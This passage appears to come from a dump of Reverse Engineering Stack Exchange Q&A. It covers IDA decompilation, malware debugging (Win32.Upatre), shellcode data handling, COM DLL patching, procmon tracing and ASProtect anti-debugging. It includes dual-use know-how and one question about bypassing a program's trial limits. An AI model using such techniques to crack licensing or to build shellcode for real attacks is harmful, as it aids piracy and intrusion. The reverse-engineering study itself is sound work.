EDIT: I guess this expression is not a declaration but a function call.

\n\n

(v22+464) is then cast to a pointer to a pointer to a function that takes void as an argument and returns an int. Then that pointer is dereference and the () operator is applied - the function is called.

\n", "Title": "Declaration of a complex C expression", "Tags": "|ida|c|functions|", "Answer": "

(*(int (**)(void))(v22 + 464))() is a function call (v22 is an object (perhaps a vtable) that contains a function pointer).

\n" }, { "Id": "9167", "CreationDate": "2015-06-17T20:21:44.743", "Body": "

I am currently working on both a plugin and an ida-python script that export fairly big JSON files.

\n\n

I just noticed, that both will at times cut off the output files with no error message. Sometimes they will cut off at 8192 Characters and sometimes at roughly 220000 Characters. What is of particular interest to me is the fact that the files are constructed differently.

\n\n

In the C++ Plugin I open a filepointer and construct the JSON-Data while cycling through my sample like this:

\n\n
FILE *fp;\nfp = qfopen(\"C:\\\\output.json\" ,\"w\");\nqfprintf(fp,\"{\\\"filename\\\": \\\"%s\\\", \\\"functions\\\":[ \", filename);\n
\n\n

In the Python Script I construct a (big) dictionary and use

\n\n
fn=GetInputFile()+'.json'\nf=open(fn,'w')\nf.write(json.dumps(jsonfunc))\n
\n\n

Of course I will need my output file intact, but I can't find any help googling. Still I feel like I'm missing something really trivial.

\n\n

Best regards

\n\n

Edit: Fixed by using

\n\n
qflush(fp) //<-within the workloop\nqfclose(fp)\n
\n\n

and for the python script respectively:

\n\n
f.close()\n
\n", "Title": "IDA Plugin/Script Output File Character Limit?", "Tags": "|ida|idapython|ida-plugin|", "Answer": "

Fixed in the Plugin by using

\n\n
qflush(fp) //<-within the workloop\nqfclose(fp)\n
\n\n

and for the Python script respectively:

\n\n
f.close()\n
\n" }, { "Id": "9168", "CreationDate": "2015-06-17T22:03:20.707", "Body": "

I have a program that reads data from a file, parses/organizes it, and spits it out as an encrypted XML. The application can also take an encrypted XML and spit out the original file. My objective at this point would be to access the clear-text XML (I'm not interested in the clear text original file as it's not XML organized)

\n\n

I have no idea what the encryption is yet although one guy on a forum said it was AES-128 (not sure how he got to that conclusion).

\n\n

I ran PEiD with the KANAL plugin on the application, it doesn't detect any encryption signatures.

\n\n

Because I have access to the program and some past some experience with exploiting BO on WinXP with some knowledge of ASM, I figured I could give it a try using a debugger.

\n\n

In a nutshell, what are the general steps I should be following to figure this out? In this situation would it be best to start looking for the encryption key itself, or find a way to use the application's encrypt/decrypt functions to my advantage?

\n", "Title": "Reversing encryption by analysing executable", "Tags": "|encryption|", "Answer": "

There are typically many ways to start, and which one you want to use depends on your experience. Also, what works for one target might fail on another, and vice versa. What i'd start with is:

\n\n\n" }, { "Id": "9177", "CreationDate": "2015-06-19T19:29:12.867", "Body": "

I have decompiled a DLL and IDA Pro came up with the following code:

\n\n
signed int __thiscall sub_10029900(void *a1, int a2) \n{    \nint v2; // esi@1\nint v3; // ebx@1\nint v4; // eax@1\nint v5; // edx@3\nint v6; // eax@5\nsigned int v7; // esi@5\nbool v8; // cf@7\nsigned int v9; // eax@8\nint v11; // [sp+10h] [bp-20h]@1\n\nv2 = 0;\nv3 = EnumFirstValidChild(a1, &v11);\n\n..........\n\nreturn v2;\n}\n
\n\n

Where EnumFirstValidChild is defined as:

\n\n
int __userpurge EnumFirstValidChild&lt;eax>(int a1&lt;eax>, int a2, int a3);\n
\n\n

I modified the code above to call the userpurge function as follows:

\n\n
int *v12 = &v11;\n\n__asm \n{ \n  push v12\n  push a1\n  call sub_10029800\n  mov v3, eax\n}\n
\n\n

The problem I am having is that the call to this function is causing a stack a Run-Time Check Failure #2 - Stack around v11 variable.

\n\n

v11 is 4 bytes long and I see that more than 16 bytes are wtitten to that pointer.

\n\n

What could it be wrong?

\n\n

Thanks!

\n\n

EDIT:

\n\n

Disassembled code listing of sub_10029900

\n\n
.text:10029900 ; =============== S U B R O U T I N E ===========\n.text:10029900\n.text:10029900 ; Attributes: bp-based frame\n.text:10029900\n.text:10029900 sub_10029900    proc near               ; CODE XREF: sub_1000F400+F1p\n.text:10029900                                         ; sub_10010870+135p ...\n.text:10029900\n.text:10029900 var_20          = dword ptr -20h\n.text:10029900 arg_0           = dword ptr  8\n.text:10029900\n.text:10029900                 mov     edi, edi\n.text:10029902                 push    ebp\n.text:10029903                 mov     ebp, esp\n.text:10029905                 and     esp, 0FFFFFFF8h\n.text:10029908                 sub     esp, 24h\n.text:1002990B                 lea     eax, [esp+24h+var_20]\n.text:1002990F                 push    ebx\n.text:10029910                 push    esi\n.text:10029911                 push    edi\n.text:10029912                 push    eax\n.text:10029913                 push    ecx\n.text:10029914                 xor     esi, esi\n.text:10029916                 call    ds:EnumFirstValidChild\n.text:1002991C                 mov     ebx, eax\n.text:1002991E                 lea     eax, [esi+1]\n.text:10029921                 test    ebx, ebx\n.text:10029923                 jz      short loc_10029985\n.text:10029925                 mov     edi, [ebp+arg_0]\n.text:10029928\n.text:10029928 loc_10029928:                           ; CODE XREF: sub_10029900+6Aj\n.text:10029928                 test    eax, eax\n.text:1002992A                 jz      short loc_10029983\n.text:1002992C                 mov     edx, [esp+30h+var_20]\n.text:10029930                 test    edx, edx\n.text:10029932                 jz      short loc_1002995E\n.text:10029934                 test    edi, edi\n.text:10029936                 jz      short loc_1002995E\n.text:10029938                 mov     eax, edi\n.text:1002993A                 mov     esi, 0Ch\n.text:1002993F                 nop\n.text:10029940\n.text:10029940 loc_10029940:                           ; CODE XREF: sub_10029900+4Fj\n.text:10029940                 mov     ecx, [edx]\n.text:10029942                 cmp     ecx, [eax]\n.text:10029944                 jnz     short loc_10029958\n.text:10029946                 add     edx, 4\n.text:10029949                 add     eax, 4\n.text:1002994C                 sub     esi, 4\n.text:1002994F                 jnb     short loc_10029940\n.text:10029951                 mov     eax, 1\n.text:10029956                 jmp     short loc_1002995A\n.text:10029958 ; ---------------------------------------------------------------------------\n.text:10029958\n.text:10029958 loc_10029958:                           ; CODE XREF: sub_10029900+44j\n.text:10029958                 xor     eax, eax\n.text:1002995A\n.text:1002995A loc_1002995A:                           ; CODE XREF: sub_10029900+56j\n.text:1002995A                 test    eax, eax\n.text:1002995C                 jnz     short loc_1002996C\n.text:1002995E\n.text:1002995E loc_1002995E:                           ; CODE XREF: sub_10029900+32j\n.text:1002995E                                         ; sub_10029900+36j\n.text:1002995E                 lea     eax, [esp+30h+var_20]\n.text:10029962                 push    eax\n.text:10029963                 push    ebx\n.text:10029964                 call    ds:EnumNextValidChild\n.text:1002996A                 jmp     short loc_10029928\n.text:1002996C ; ---------------------------------------------------------------------------\n.text:1002996C\n.text:1002996C loc_1002996C:                           ; CODE XREF: sub_10029900+5Cj\n.text:1002996C                 push    ebx\n.text:1002996D                 mov     esi, 1\n.text:10029972                 call    ds:EndEnumValidChild\n.text:10029978                 mov     eax, esi\n.text:1002997A                 pop     edi\n.text:1002997B                 pop     esi\n.text:1002997C                 pop     ebx\n.text:1002997D                 mov     esp, ebp\n.text:1002997F                 pop     ebp\n.text:10029980                 retn    4\n.text:10029983 ; ---------------------------------------------------------------------------\n
\n\n

Disassembled code listing of EnumFirstValidChild.

\n\n
.text:1000B710 ; Exported entry   4. EnumFirstValidChild\n.text:1000B710\n.text:1000B710 ; =============== S U B R O U T I N E ==============\n.text:1000B710\n.text:1000B710 ; Attributes: bp-based frame\n.text:1000B710\n.text:1000B710                 public EnumFirstValidChild\n.text:1000B710 EnumFirstValidChild proc near ; DATA XREF: .text:off_10027368o\n.text:1000B710\n.text:1000B710 var_28          = dword ptr -28h\n.text:1000B710 var_24          = dword ptr -24h\n.text:1000B710 var_20          = dword ptr -20h\n.text:1000B710 var_1C          = dword ptr -1Ch\n.text:1000B710 var_18          = byte ptr -18h\n.text:1000B710 var_C           = dword ptr -0Ch\n.text:1000B710 var_4           = dword ptr -4\n.text:1000B710 arg_0           = dword ptr  8\n.text:1000B710 arg_4           = dword ptr  0Ch\n.text:1000B710\n.text:1000B710                 mov     edi, edi\n.text:1000B712                 push    ebp\n.text:1000B713                 mov     ebp, esp\n.text:1000B715                 and     esp, 0FFFFFFF8h\n.text:1000B718                 mov     eax, large fs:0\n.text:1000B71E                 push    0FFFFFFFFh\n.text:1000B720                 push    offset SEH_1001DAD0\n.text:1000B725                 push    eax\n.text:1000B726                 mov     large fs:0, esp\n.text:1000B72D                 sub     esp, 20h\n.text:1000B730                 mov     ecx, dword_1002ACE8\n.text:1000B736                 push    ebx\n.text:1000B737                 push    esi\n.text:1000B738                 push    edi\n.text:1000B739                 xor     edi, edi\n.text:1000B73B                 test    ecx, ecx\n.text:1000B73D                 jnz     short loc_1000B77D\n.text:1000B73F                 push    dword_1002ACE4\n.text:1000B745                 lea     eax, [esp+3Ch+var_28]\n.text:1000B749                 push    eax\n.text:1000B74A                 push    7Ch\n.text:1000B74C                 push    1\n.text:1000B74E                 call    ds:api_func_107\n.text:1000B754                 mov     ecx, [esp+38h+var_28]\n.text:1000B758                 mov     [esp+38h+var_24], ecx\n.text:1000B75C                 mov     [esp+38h+var_4], edi\n.text:1000B760                 test    ecx, ecx\n.text:1000B762                 jz      short loc_1000B76D\n.text:1000B764                 call    sub_10005440\n.text:1000B769                 mov     ecx, eax\n.text:1000B76B                 jmp     short loc_1000B76F\n.text:1000B76D ; ---------------------------------------------------------------------------\n.text:1000B76D\n.text:1000B76D loc_1000B76D:                           ; CODE XREF: EnumFirstValidChild+52j\n.text:1000B76D                 xor     ecx, ecx\n.text:1000B76F\n.text:1000B76F loc_1000B76F:                           ; CODE XREF: EnumFirstValidChild+5Bj\n.text:1000B76F                 mov     [esp+38h+var_4], 0FFFFFFFFh\n.text:1000B777                 mov     dword_1002ACE8, ecx\n.text:1000B77D\n.text:1000B77D loc_1000B77D:                           ; CODE XREF: EnumFirstValidChild+2Dj\n.text:1000B77D                 mov     eax, [ebp+arg_0]\n.text:1000B780                 lea     esi, [ecx+34h]\n.text:1000B783                 mov     [esp+38h+var_24], eax\n.text:1000B787                 mov     ecx, esi\n.text:1000B789                 lea     eax, [esp+38h+var_24]\n.text:1000B78D                 push    eax\n.text:1000B78E                 lea     eax, [esp+3Ch+var_18]\n.text:1000B792                 push    eax\n.text:1000B793                 call    sub_10008330\n.text:1000B798                 mov     ecx, [eax]\n.text:1000B79A                 mov     ebx, [eax+4]\n.text:1000B79D                 mov     eax, [esi+4]\n.text:1000B7A0                 mov     [esp+38h+var_20], ecx\n.text:1000B7A4                 mov     [esp+38h+var_1C], ebx\n.text:1000B7A8                 mov     [esp+38h+var_24], eax\n.text:1000B7AC                 test    ecx, ecx\n.text:1000B7AE                 jz      short loc_1000B7B4\n.text:1000B7B0                 cmp     ecx, esi\n.text:1000B7B2                 jz      short loc_1000B7BE\n.text:1000B7B4\n.text:1000B7B4 loc_1000B7B4:                           ; CODE XREF: EnumFirstValidChild+9Ej\n.text:1000B7B4                 call    ds:_invalid_parameter_noinfo\n.text:1000B7BA                 mov     eax, [esp+38h+var_24]\n.text:1000B7BE\n.text:1000B7BE loc_1000B7BE:                           ; CODE XREF: EnumFirstValidChild+A2j\n.text:1000B7BE                 mov     esi, [ebp+arg_4]\n.text:1000B7C1                 cmp     ebx, eax\n.text:1000B7C3                 jz      short loc_1000B80B\n.text:1000B7C5                 lea     ecx, [esp+38h+var_20]\n.text:1000B7C9                 call    sub_10008390\n.text:1000B7CE                 mov     ebx, [eax+4]\n.text:1000B7D1                 test    ebx, ebx\n.text:1000B7D3                 jz      short loc_1000B80B\n.text:1000B7D5                 push    esi\n.text:1000B7D6                 push    0\n.text:1000B7D8                 mov     ecx, ebx\n.text:1000B7DA                 call    sub_1001D620\n.text:1000B7DF                 test    eax, eax\n.text:1000B7E1                 jz      short loc_1000B80B\n.text:1000B7E3                 push    dword_1002ACE4\n.text:1000B7E9                 lea     eax, [esp+3Ch+var_24]\n.text:1000B7ED                 push    eax\n.text:1000B7EE                 push    8\n.text:1000B7F0                 push    1\n.text:1000B7F2                 call    ds:api_func_107\n.text:1000B7F8                 mov     edi, [esp+38h+var_24]\n.text:1000B7FC                 test    edi, edi\n.text:1000B7FE                 jz      short loc_1000B80B\n.text:1000B800                 mov     [edi], ebx\n.text:1000B802                 mov     dword ptr [edi+4], 0\n.text:1000B809                 jmp     short loc_1000B824\n.text:1000B80B ; ---------------------------------------------------------------------------\n.text:1000B80B\n.text:1000B80B loc_1000B80B:                           ; CODE XREF: EnumFirstValidChild+B3j\n.text:1000B80B                                         ; EnumFirstValidChild+C3j ...\n.text:1000B80B                 xor     eax, eax\n.text:1000B80D                 mov     [esi], eax\n.text:1000B80F                 mov     [esi+4], eax\n.text:1000B812                 mov     [esi+8], eax\n.text:1000B815                 mov     [esi+0Ch], eax\n.text:1000B818                 mov     [esi+10h], eax\n.text:1000B81B                 mov     [esi+14h], eax\n.text:1000B81E                 mov     [esi+18h], eax\n.text:1000B821                 mov     [esi+1Ch], eax\n.text:1000B824\n.text:1000B824 loc_1000B824:                           ; CODE XREF: EnumFirstValidChild+F9j\n.text:1000B824                 mov     ecx, [esp+38h+var_C]\n.text:1000B828                 mov     eax, edi\n.text:1000B82A                 pop     edi\n.text:1000B82B                 pop     esi\n.text:1000B82C                 mov     large fs:0, ecx\n.text:1000B833                 pop     ebx\n.text:1000B834                 mov     esp, ebp\n.text:1000B836                 pop     ebp\n.text:1000B837                 retn    8\n.text:1000B837 EnumFirstValidChild endp\n.text:1000B837\n.text:1000B837 ; ---------------------------------------------------------------------------\n
\n\n

Decompiled code of sub_10029900.

\n\n
signed int __thiscall sub_10029900(void *this, int a2) //note that I changed *this to *a1\n{\n  int v2; // esi@1\n  int v3; // ebx@1\n  int v4; // eax@1\n  int v5; // edx@3\n  int v6; // eax@5\n  signed int v7; // esi@5\n  bool v8; // cf@7\n  signed int v9; // eax@8\n  int v11; // [sp+10h] [bp-20h]@1\n\n  v2 = 0;\n  v3 = EnumFirstValidChild(this, &v11);\n  v4 = 1;\n  if ( v3 )\n  {\n    while ( v4 )\n    {\n     v5 = v11;\n      if ( v11 && a2 )\n      {\n        v6 = a2;\n        v7 = 12;\n        while ( *(_DWORD *)v5 == *(_DWORD *)v6 )\n        {\n          v5 += 4;\n          v6 += 4;\n          v8 = (unsigned int)v7 < 4;\n          v7 -= 4;\n          if ( v8 )\n          {\n            v9 = 1;\n            goto LABEL_10;\n          }\n        }\n        v9 = 0;\nLABEL_10:\n        if ( v9 )\n        {\n          EndEnumValidChild(v3);\n          return 1;\n       }\n      }\n      v4 = EnumNextValidChild(v3, &v11);\n    }\n    v2 = 0;\n  }\n  EndEnumValidChild(v3);\n  return v2;\n}\n
\n\n

Decompiled code of EnumFirstValidChild.

\n\n
int __userpurge EnumFirstValidChild<eax>(int a1<eax>, int a2, int a3)\n{\n  int v3; // ecx@1\n  int v4; // edi@1\n  int v5; // esi@6\n  int v6; // eax@6\n  int v7; // ecx@6\n  int v8; // ebx@6\n  int v9; // eax@6\n  int v10; // ebx@10\n  int v12; // [sp+1Ch] [bp-28h]@2\n  int v13; // [sp+20h] [bp-24h]@2\n  int v14; // [sp+24h] [bp-20h]@6\n  int v15; // [sp+28h] [bp-1Ch]@6\n  char v16; // [sp+2Ch] [bp-18h]@6\n  int v17; // [sp+38h] [bp-Ch]@1\n  int (__cdecl *v18)(); // [sp+3Ch] [bp-8h]@1\n  int v19; // [sp+40h] [bp-4h]@1\n\n  v19 = -1;\n  v18 = SEH_1001DAD0;\n  v17 = a1;\n  v3 = dword_1002ACE8;\n  v4 = 0;\n  if ( !dword_1002ACE8 )\n  {\n    api_func_107(1, 124, &v12, dword_1002ACE4);\n    v13 = v12;\n    v19 = 0;\n    if ( v12 )\n      v3 = sub_10005440(v12);\n    else\n      v3 = 0;\n    v19 = -1;\n    dword_1002ACE8 = v3;\n  }\n  v5 = v3 + 52;\n  v13 = a2;\n  v6 = sub_10008330(v3 + 52, (int)&v16, (int)&v13);\n  v7 = *(_DWORD *)v6;\n  v8 = *(_DWORD *)(v6 + 4);\n  v9 = *(_DWORD *)(v5 + 4);\n  v14 = v7;\n  v15 = v8;\n  v13 = v9;\n  if ( !v7 || v7 != v5 )\n  {\n    invalid_parameter_noinfo(v7);\n    v9 = v13;\n  }\n  if ( v8 != v9\n    && (v10 = *(_DWORD *)(sub_10008390(&v14) + 4)) != 0\n    && sub_1001D620(v10, 0, a3)\n    && (api_func_107(1, 8, &v13, dword_1002ACE4), (v4 = v13) != 0) )\n  {\n    *(_DWORD *)v13 = v10;\n    *(_DWORD *)(v4 + 4) = 0;\n  }\n  else\n  {\n    *(_DWORD *)a3 = 0;\n    *(_DWORD *)(a3 + 4) = 0;\n    *(_DWORD *)(a3 + 8) = 0;\n    *(_DWORD *)(a3 + 12) = 0;\n    *(_DWORD *)(a3 + 16) = 0;\n    *(_DWORD *)(a3 + 20) = 0;\n    *(_DWORD *)(a3 + 24) = 0;\n    *(_DWORD *)(a3 + 28) = 0;\n  }\n  return v4;\n}\n
\n", "Title": "Problem with IDA Pro Code", "Tags": "|ida|", "Answer": "

Let's start from the beginning:

\n
int __userpurge EnumFirstValidChild<eax>(int a1<eax>, int a2, int a3);\n
\n

Your EnumFirstValidChild prototype takes eax as the first argument, but if you look at eax in this function, it gets immediately erased by Teb->NtTib->ExceptionList (aka fs:[0]) at .text:1000B718.

\n

Thus, the first argument isn't valid. Let's fix that as a first step:

\n
int __cdecl EnumFirstValidChild (int a1, int a2);\n
\n

I think you have already found that out, but better make sure everything is clear.

\n

Now, more precisely about your question:

\n
\n

v11 is 4 bytes long and I see that more than 16 bytes are written to that pointer.\nWhat could it be wrong?

\n
\n

As you may know, Hex-Rays doesn't produce compilable C code, but pseudo C-like code.\nYou have to give hints to the decompiler if you want it to decompile a correct C code.

\n

About your issue, you were right. v11 is not 4 bytes long, but actually at least 32 bytes long: at the end of the function EnumFirstValidChild, it writes 32 bytes at the address of the second argument:

\n
*(_DWORD *)a3 = 0;\n*(_DWORD *)(a3 + 4) = 0;\n*(_DWORD *)(a3 + 8) = 0;\n*(_DWORD *)(a3 + 12) = 0;\n*(_DWORD *)(a3 + 16) = 0;\n*(_DWORD )(a3 + 20) = 0;\n*(_DWORD *)(a3 + 24) = 0;\n*(_DWORD *)(a3 + 28) = 0;\n
\n

Furthermore, the decompiler gives you a quick way to notice this:\nIn sub_10029900, there's nothing on the stack except:

\n
int v11; // [bp-20h]\n
\n

As you can see, there's some space between bp and bp-20h. There is just enough space for your 32 bytes array, so we can conclude that your structure size is indeed 32 bytes long.

\n

If you wish, you can fix the output of Hex-Rays following this procedure:

\n

\"Enter

\n" }, { "Id": "9182", "CreationDate": "2015-06-20T01:01:19.483", "Body": "

So I've been looking at this thread - Where can I, as an individual, get malware samples to analyze?\nAnd grabbed myself a binary sample of Win32.Upatre from Halvar Flake's blog.

\n

I started analyzing the file in my VM (Win XP SP 3) and loaded up the malware in Olly.\nWhat I noticed is that the code looks encrypted - I searched for all the calls in the code and got this:

\n

\"enter

\n

Which doesn't seem quite normal.

\n

So I went ahead and started stepping from the EP hopefully landing on some decryption procedure -

\n

\"enter

\n

I'll briefly explain what I concluded from debugging this code:

\n

1 - Gets the arguments passed to this executable - I'm pretty sure any code before this is irrelevant, but I might be wrong.

\n

2 - Calls GetStartupInfo - not quite sure why

\n

3 - Call 00401C80 passing the EP as a parameter

\n

So I went ahead jumping to 00401C80 to check what this is all about and found this code which kinda looks like junk code to me -

\n

\"enter

\n

I suspect because there are some instructions that just don't seem logic to me like:

\n
MOV EAX, 64\nCMP EAX,3E8\n
\n

But I might be wrong.

\n

The problem is that after at the end of the function a value is copied into ECX and then CALL ECX is called which eventually ends in memory access violation:

\n

\"enter

\n

No matter what I do or how I play with the flags inside this function I get an access violation or the code exits.

\n

SOOOOOOOOO, my first thought was that I'm dealing with some kinda anti-debugging technique, so I tried to run the malware inside the VM and intercept some data from it -

\n

\"enter

\n

And it seems like it's running alright and even created a UDP socket, no access violation or something like that.

\n

I tried looking online for reports about this virus but I couldn't found any resources about how to bypass this obstacle.

\n

Anyone got an idea how I should approach this? why is Olly failing? How does this code knows that it's being debugged? It doesn't seem like it uses some kind of API for that (like IsDebuggerPresent).

\n

Thanks for everyone in advance.

\n", "Title": "Debugging Win32.Upatre - why does Ollydbg fail to analyze this?", "Tags": "|ollydbg|malware|obfuscation|anti-debugging|deobfuscation|", "Answer": "
import base64\nimport zipfile\nimport os\nimport hashlib\ninfile = open(\"c:\\\\halvar\\\\halvfem.bin\",\"rb\")\noutfile = open(\"c:\\\\halvar\\\\halvfem.zip\",\"wb\")\nbase64.decode(infile,outfile)\ninfile.close()\noutfile.close()\nif (zipfile.is_zipfile(\"c:\\\\halvar\\\\halvfem.zip\")):\n    myzip = zipfile.ZipFile(\"c:\\\\halvar\\\\halvfem.zip\",'r')\n    myzip.extractall('c:\\\\halvar\\\\',myzip.namelist(),'infected')\n    os.rename(myzip.namelist()[0],\"halvar_challenge.exe\")\n    print hashlib.md5(open('c:\\\\halvar\\\\halvar_challenge.exe','rb').read()).hexdigest()\n
\n\n

is this the file you are talking about

\n\n
C:\\halvar>python decode.py\n172aed81c4fde1cf23f1615acedfad65\n\nC:\\halvar>f:\\odbg110\\OLLYDBG.EXE halvar_challenge.exe\n
\n\n

the exe is setting up a Structured Exception Handler prior to call ecx \nyou should follow the Exception handler may be several times

\n\n

hint check this function in msvcrt

\n\n
77C2275C MSVCRT._JumpToContinuation    $  8BFF          MOV     EDI, EDI\n
\n\n

if you followed them you should be able to see 0x89 imports being resolved with LoadLibrary and GetProcAddress

\n\n

i followed till CreateEvent before posting this

\n\n
0013FD90   0040F520  /CALL to CreateEventA from halvar_c.0040F51D\n0013FD94   00000000  |pSecurity = NULL\n0013FD98   00000001  |ManualReset = TRUE\n0013FD9C   00000000  |InitiallySignaled = FALSE\n0013FDA0   0013FDCC  \\EventName = \"{AB8D393B-9177-440d-B3F8-1C1FE0CF9692}\"\n
\n" }, { "Id": "9184", "CreationDate": "2015-06-20T03:05:58.470", "Body": "

I'm reading about buffer overflow and there's this part i didn't understand , it says :

\n
\n

Eliminating Data Segments

\n

That assembly code works completely. However, it is useless. You can compile it with nasm, execute it, and view the binary file in hex form with hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.

\n
\n

why can't we use a data segment in our shellcode ?\nthanks !

\n", "Title": "The Addressing Problem?", "Tags": "|assembly|buffer-overflow|", "Answer": "

You can read from and write to a process's data segment from shellcode (assuming proper page protections).

\n\n

However, you typically want to supply the data your shellcode is going to use (for example, the data string \"http://172.19.3.204/stager.exe\"), and not rely what's currently in the exploited process's data segment (for example, the data string \"Internet Explorer 4.0\").

\n\n

As such, you'll need to either inject your shellcode's data into the exploited process's data segment, or as is the more common case, inject your shellcode and data together in a single blob and have your shellcode reference your data at an offset relative to your shellcode.

\n" }, { "Id": "9191", "CreationDate": "2015-06-21T07:59:25.077", "Body": "

I have COM DLL with one class and one interface.
\nWhen I open it with COMView I see all the methods in the class/interface.

\n\n

I want to modify the behavior of one method in this COM but I don't know how. I failed debugging it in debugger because it uses multiple threads and I couldn't find the DLL's code.

\n\n

Is there a way to patch a function without using the debugger?

\n", "Title": "Patch methods in COM dll", "Tags": "|windows|decompilation|dll|patching|com|", "Answer": "

Debugging COM is indeed a bit on an issue, however you don't necessarily need to debug it in order to retrieve an address to the function you're interested in. Additionally, there are tricks to find COM related functions while debugging.

\n\n

Once you got the function's address, simply open that COM dll with any patching tool and patch the assembly as you'd like. Just google for a binary patching tool you feel comfortable with.

\n\n

There are basically three ways I can think of to get the address of that function:

\n\n
    \n
  1. First, the function you're interested in might be exported. This is not a requirement for COM servers to function in most cases but occasionally happens. If it is exported, this is obviously the easiest way to find it.
    2. \n
  2. You could write a small executable that uses the COM server. That executable should call the function you're looking for, and by debugging it you will find the RVA of the function you're after. Just patch in memory and save (olly allows that, for example) or translate the RVA to file offset and patch statically.
    3. \n
  3. This is a bit more difficult but still possible. You could statically find the COM object's virtual table and resolve it using type libraries. You could then get the function's offset just the same. See This Q&A for more info about type libraries.
    4. \n
\n" }, { "Id": "9194", "CreationDate": "2015-06-21T16:33:52.433", "Body": "

I am investigating an application, which is encrypting it's files and stores them into disk. Of course i know where the files are and their corresponding filenames.

\n\n

In order to find out how the decryption takes place i need to somehow break the execution on the opening of the file from the disk.

\n\n

Has anybody any idea if something like this is possible?

\n\n

The main problem that i have is that i am completely unable to detect how the application reads the file from disk. How am i supposed to find the module that is being called?

\n\n

The application is a 64bit one and i am using Cheat Engine to debug it. I tried other 64bit debuggers as well, but none of them matched the memory search that is possible with CE.

\n\n

PS: I've also posted this question in Stackoverflow, but i guess this is the best place to ask this question.

\n", "Title": "Breakpoint on io file read", "Tags": "|debugging|breakpoint|", "Answer": "

use procmon from Sys Internals to log the process
\nfilter the log for file access
\n(latest release has a file summary tab that simplifies entering filter expressions to mere mouse clicks)

\n\n

code for a simple xorrer (takes an input file and writes back a xorred file)

\n\n
#include <stdio.h>\n#include <stdlib.h>\n#define ENOENT 2\nvoid main(int argc, char *argv[]) {\n  if(argc !=3 ) { printf(\"usage : %s infile outfile\",argv[0]); return;}\n  FILE *fp = 0; errno_t err=ENOENT; long flen =0,bread =0 ; char *buff =0;\n  if (((err = fopen_s(&fp,argv[1],\"rb\")) == 0) && (fp !=0)) {\n    fseek(fp,0,SEEK_END);\n    flen = ftell(fp);\n    if((buff = (char *)calloc(flen,sizeof(char))) !=0 ) {\n      fseek(fp,0,SEEK_SET);\n      if (( bread = fread(buff,sizeof(char),flen,fp) ) == flen) {\n        fclose(fp); err=ENOENT;\n        for(int i = 0; i< flen; i++)  {\n          buff[i] ^= 'A' ;\n        }\n        if(((err = fopen_s(&fp,argv[2],\"wb\")) == 0) && (fp !=0)) {\n          fwrite(buff,1,flen,fp);\n          fclose(fp);\n          free(buff);\n        }\n      }\n    }\n  }\n}\n
\n\n

a batfile logging this file access (blind run) and loading the log into procmon again for applying filters and saving back the filtered events as xml\nwhich allows powershell to parse and print

\n\n
echo off\nstart procmon.exe /quiet  /minimized /backingfile /nofilter .\\LogFile.pml\nprocmon.exe /waitforidle\nstart /wait encfile.exe rawdata.txt encdata.txt\nprocmon.exe /terminate\nstart /wait procmon.exe /openlog .\\logfile.pml\npowershell  ([xml] ( Get-Content .\\logfile.xml)).procmon.eventlist.event[2].stack.frame \npause\n
\n\n

filter used to save xml file was \"Include if path contains xxxx where xxxx is the filename of interest\"

\n\n

here is the stack of the fileRead

\n\n
PS > ([xml]\n ( Get-Content .\\logfile.xml)).procmon.eventlist.event[2].stack.frame\n\ndepth               address             path                location\n-----               -------             ----                --------\n0                   0xb9ed5888          C:\\WINDOWS\\Syste... FltpPerformPreCa...\n1                   0xb9ed72a0          C:\\WINDOWS\\Syste... FltpPassThroughI...\n2                   0xb9ed7c48          C:\\WINDOWS\\Syste... FltpPassThrough ...\n3                   0xb9ed8059          C:\\WINDOWS\\Syste... FltpDispatch + 0...\n4                   0x804ee129          C:\\WINDOWS\\syste... IopfCallDriver +...\n5                   0x80571d9c          C:\\WINDOWS\\syste... NtReadFile + 0x580\n6                   0x8053d658          C:\\WINDOWS\\syste... KiFastCallEntry ...\n7                   0x40364c            C:\\Documents and... encfile.exe + 0x...\n8                   0x403ac0            C:\\Documents and... encfile.exe + 0x...\n9                   0x4033a2            C:\\Documents and... encfile.exe + 0x...\n10                  0x4015bf            C:\\Documents and... encfile.exe + 0x...\n11                  0x401698            C:\\Documents and... encfile.exe + 0x...\n12                  0x4016d1            C:\\Documents and... encfile.exe + 0x...\n13                  0x4010d3            C:\\Documents and... encfile.exe + 0x...\n14                  0x401d09            C:\\Documents and... encfile.exe + 0x...\n15                  0x7c817077          C:\\WINDOWS\\syste... BaseProcessStart...\n16                  0x0\n
\n\n

ascertaining the ReadFile call

\n\n
:\\cdb -c \"ub 40364c;q\" encfile.exe | tail -n 2\n00403646 ff1550b04000    call    dword ptr [image00400000+0xb050 (0040b050)]\nquit:\n\n:\\cdb -c \".printf \\\"%y\\n\\\",poi(40b050);q\" encfile.exe | tail -n 2\nkernel32!ReadFile (7c801812)\nquit:\n
\n" }, { "Id": "9195", "CreationDate": "2015-06-21T20:36:40.207", "Body": "

Im trying to bypass some trial functionnalities in os-monitor, the point is, after running it through ollydbg, a notification appears to tell that executable segment is encrypted with exe-packing algorithm.

\n\n

\"enter

\n\n

I ignored that, and continue to execute it, then another notification said that program halted because a debugger is detected.

\n\n

\"enter

\n\n

Can anyone enlighten me of what type of antidebugging technique is used in this software?

\n", "Title": "Anti-Debugging technique in Os-monitor", "Tags": "|ollydbg|", "Answer": "
\n

Can anyone enlighten me of what type of antidebugging technique is\n used in this software?

\n
\n\n

Yes, that Protection Error message is from ASProtect's unpacking stub.

\n\n

From http://www.aspack.com/asprotect32.html, it features the following antidebugging techniques:

\n\n
\n \n
\n" }, { "Id": "9205", "CreationDate": "2015-06-22T14:21:07.243", "Body": "

Problem :

\n\n

I try to find the plaintext which was hidden at pdf inbuilt with shellcode

\n\n

What i tried :

\n\n

I received a pdf which contains javascript with it ,i dig the pdf as follows :

\n\n

Exploring JavaScript inside:

\n\n
root@kali:~# pdfid APT9001.pdf \nPDFiD 0.0.12 APT9001.pdf\n PDF Header: %PDF-1.5\n obj                   10\n endobj                 9\n stream                 3\n endstream              3\n xref                   2\n trailer                2\n startxref              2\n /Page                  3(2)\n /Encrypt               0\n /ObjStm                0\n /JS                    1(1)\n /JavaScript            1(1)\n /AA                    0\n /OpenAction            1(1)\n /AcroForm              0\n /JBIG2Decode           1(1)\n /RichMedia             0\n /Launch                0\n /EmbeddedFile          0\n /Colors > 2^24         0\n
\n\n

while extracting it:

\n\n
